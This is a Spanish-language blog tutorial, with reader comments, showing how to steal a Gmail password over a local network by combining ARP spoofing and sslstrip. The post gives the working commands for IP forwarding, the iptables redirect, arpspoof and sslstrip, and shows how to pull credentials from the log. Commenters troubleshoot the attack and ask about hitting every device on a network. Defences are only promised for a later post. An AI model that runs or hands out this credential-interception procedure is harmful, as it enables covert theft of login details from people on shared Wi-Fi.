ArpSpoofing y SSlstrip en Acción.

Hola Bloggeros.

Para hoy les tengo una pequeña muestra de lo peligroso que puede ser estar conectados en cualquier red sin seguridad de esas que tantos nos gustan.

Para el día de hoy, voy a usar ArpSpoofing con Sslstrip para conseguir una contraseña de Gmail. Para hacer el ambiente mas controlado, he creado una cuenta llamada “pruebaarp@gmail.com”.

Y como no me gustan mucho los preámbulos vamos a ponernos a jugar.

No me hago responsable en ningún momento de lo que puedan hacer con la siguiente información. Lo hago exclusivamente con fines educativos

ENTORNO

Para esta prueba lo que tenemos es lo siguiente:

1. Atacante: Es mi ordenador de mesa o Desktop que tiene Debian Wheezy. Desde repositorios se puede instalar sslstrip y dsniff para conseguir tener arpspoofing

2. Victima: La víctima es una Tablet con Android que solamente quiere ver su correo por medio del navegador.

3. El medio: El medio es mi Router Cisco DPC2425

DIRECCIONES.

Direccion del atacante: 172.26.0.2

Direccion del Router: 172.26.0.1

Direccion de la Victima: 172.26.0.8

EL ATAQUE:

Para entener un poco más el funcionamiento del ataque puedes dirigirte a mi antiguo POST

Lo primero que haremos para este ataque será activar el forward para que nuestro ordenador pueda reenviar la información a la víctima sin que se de cuenta. (De lo contrario seria un ataque de denegación de servicios)

Para eso usaremos:

echo "1" > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080

arpspoof -i eth0 -t 172.26.0.8 172.26.0.1
arpspoof -i eth0 -t 172.26.0.1 172.26.0.2
sslstrip -a -w desdelinux -l 8080

Cada comando en una ventana de consola diretente.

Ahora si hacemos tail -f desdelinux vemos la informacion en vivo y en directo

instantánea1

Entonces luego como conseguimos lo que queremos?

Vamos primero a ingresar a nuestro correo en la Tablet. Mientras abre sesión vemos que en nuestra consola salen miles y miles de cosas.

Ahora que ha terminado vamos a abrir nuestro archivo “desdelinux” con nano

nano desdelinux

con Control + W bucamos algo que se llama SECURE POST.

Y vamos a ver algo como esto.

instantánea2

Entre esa linea enorme que no se alcanza a terminar de ver está el correo y la contraseña de la víctima.

Entonces corremos hacia la derecha hasta que por fin vemos la luz al final del túnel.

instantánea3

En otra ocasión veremos como nos podemos proteger un poco de estos ataques.

Saludos


27 comentarios, deja el tuyo

Deja tu comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*

*

  1. Responsable de los datos: Miguel Ángel Gatón
  2. Finalidad de los datos: Controlar el SPAM, gestión de comentarios.
  3. Legitimación: Tu consentimiento
  4. Comunicación de los datos: No se comunicarán los datos a terceros salvo por obligación legal.
  5. Almacenamiento de los datos: Base de datos alojada en Occentus Networks (UE)
  6. Derechos: En cualquier momento puedes limitar, recuperar y borrar tu información.

  1.   @Jlcmux dijo

    Aprovecho para decir que al momento de publicar el post no quedaron bien los comandos.

    El comando de iptables al final le falta el 8080 que quedo en otra linea. Y luego los comandos de arpspoof quedaron todos en una misma linea. Siendo cada comando en una linea distinta.

    Ojala el editor lo vea y pueda solucionarlo.

    Saludos.

    1.    Manuel de la Fuente dijo

      He hecho las correcciones que mencionas, ¿así está bien?

      Si vas a insertar código en una entrada de preferencia usa la vista en HTML, y verifica que el artículo esté correcto antes de enviarlo a pendientes. Gracias.

  2.   Luis dijo

    Es escalofriante saber que los que no tenemos conocimientos somos tan vulnerables. Muy buena información aún cuando entiendo poco del tema me doy cuenta de la importancia. Gracias!
    Saludos

  3.   Giskard dijo

    Pero eso sólo funciona si el atacante y la víctima están en la misma red. En todo caso, me parece que si (estando en la misma red) te conectas usando HTTPS eso no pasa porque la data se encripta ANTES de salir de tu máquina. Si te conectas por HTTP (sin S) creo que hasta mirando el cable de red ves las claves.

    1.    @Jlcmux dijo

      No es cierto. Estoy hackeando una clave de gmail y gmail si te fijas usa https. Entonces? El punto es que aunque https es seguro, Depende de http. Así que no es tan seguro.

      No te confies tanto de un https que la S no es por Superman es por «seguro»

    2.    RTen dijo

      funciona con o sin https, yo lo he probado con una distro de linux mas especializada y funciona sin problemas

    3.    Manuel de la Fuente dijo

      Precisamente lo puedes usar para darle una lección a los que te roben la Wi-Fi. 😀

      Es más o menos como lo que contaban hace tiempo en el blog de Chema Alonso:

      http://www.elladodelmal.com/2013/04/hackeando-al-vecino-hax0r-que-me-roba.html
      http://www.elladodelmal.com/2013/04/hackeando-al-vecino-hax0r-que-me-roba_5.html

      1.    Rayonant dijo

        Ostia, genial lo que hace!, / Y después me dicen a mi paranoico cada vez que uso el VPN cuando van a revisar la cuenta bancaria…) . Por cierto hay que ver lo cínica que es la gente en los comentarios..si al final es robar…

        1.    eliotime3000 dijo

          Ahora falta sacar un tutorial acerca de cómo crear y ofrecer su propio servicio de VPN.

      2.    Daniel dijo

        Interesantisima la historia que enlazas, hasta parece digna de un libro de novela, y esto me hace recordar cuando yo utilizaba el internet de mis vecinos y aunque me digo enterado en el tema, creo que nunca pude ver las verdaderas dimensiones del peligro que pude haber pasado, afortunadamente para mi, unicamente le cambiaron la contraseña a WPA2 y ahí empezo mi historia con el ISP jaja

    4.    Mauricio dijo

      Por eso el titulo dice Sslstrip en accion.

      Funciona, siempre que el atacante este entre el medio

  4.   anon dijo

    ¿Que onda trabajas en prism? -.-
    no.
    Que esperas para mandar tu solicitud XD
    saludos
    buen post

  5.   AurosZx dijo

    Interesante, haré una prueba educativa más tarde… Quizás hasta podría quitarle la contraseña al WiFi y divertirme un rato 😛
    De casualidad se puede hacer algo parecido para mandar páginas diferentes a las que solicitó el objetivo? Por ejemplo, que quieran abrir Facebook y yo los redireccione a Google? 😛

    1.    @Jlcmux dijo

      Si. Pero es todo un rollo muy diferente.

      Quizá lo publique más tarde.

  6.   lastnewbie dijo

    muy buen post, estos temas son muy educativos, ahora hace falta como poder contra restar este ataque, ya que algunos (como yo) nos conectamos a redes públicas (la universidad por ejemplo) sería de ayuda como evitarlo.

    Saludos!

  7.   just-another-dl-user dijo

    No me funcionó 🙁

  8.   woqer dijo

    Algo me falla aquí, aparte de que las conexiones https se encriptan a traveś de un certificado del servidor (una vez tienes en tu máquina el certificado, tu navegador es el encargado de la encriptación) con iptables haces una redirección del puerto 80 (http), no del 443 que es el de https

    1.    @Jlcmux dijo

      Eso pensaba yo también. El punto es que aunque https es «seguro» depende lastimosamente de http. Entonces sslstrip aprovecha eso, le hace creer al navegador que esta usando credenciales de https pero no es asi.

      1.    woqer dijo

        holy shit! pero en el navegador deberá salir algún aviso del tipo «este certificado proviene de un sitio sospechoso o algo así»… voy a tener que hacer pruebas definitivamente XD

        1.    @Jlcmux dijo

          No, no sale absolutamente nada.

  9.   just-another-dl-user dijo

    Al fin me funcionó
    Estoy conectado en una red WEP con contraseña, y de todos modos me mostró la contraseña directamente.

    Una consulta. ¿se puede hacer este mismo procedimiento pero para todos los equipos que estan conectados en la red, en vez de tener una sola victima?

    1.    @Jlcmux dijo

      Si se puede. Pero no he hecho experimentos. Inténtalo tú y nos cuentas que tal te va.

  10.   Sinnick19 dijo

    Lo unico que consigo con esto es que la maquina de la victima se quede sin conexion, pero el sslstrip no me muestra nada :/

    1.    @Jlcmux dijo

      Debes desactivar el cortafuegos por un momento. O al menos habilitar las conexiones entrantes.

  11.   Mr Black dijo

    Probe y solo pude ver el usuario y clave de la pagina de facebook, en gmail no encontre ningun resultado en el log, ademas solo me hizo falta una linea de arpspoof «arpspoof -i -t «. Por otro lado, la maquina victima no podia abrir algunas paginas. Seguire investigando, es muy interesante. Una ayuda para los que usen Manjaro, los paquetes a instalar son: dsniff (aqui esta arpspoff), twisted y python2-pyopenssl. Sslstrip lo pueden bajar de aqui: http://www.thoughtcrime.org/software/sslstrip/
    Para ejecutarlo $python2 sslstrip.py
    Saludos.

  12.   Mr Black dijo

    No salio pero la linea de arpspoof es: #arpspoof -i int -t ip-victima ip-router

  13.   gilbert dijo

    mira yo hago exactamente lo que tu dices:

    echo «1» > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 8080

    arpspoof -i eth0 -t 172.26.0.8 172.26.0.1
    arpspoof -i eth0 -t 172.26.0.1 172.26.0.2

    el problema es que la víctima que es otra pc que tengo aqui en mi cuarto, se me queda sin conexión al punto tal que tengo que reiniciar el router, que puedo hacer ayúdame.

    otra cosa yo estoy trabajando con una máquina virtual, y cuando ejecuto el comando iwconfig, no me aparece wlan0, ni tampoco cuando ejecuto ifconfig, sin embargo si tengo internet en mi máquina vitual lo que con una interfaz eth0.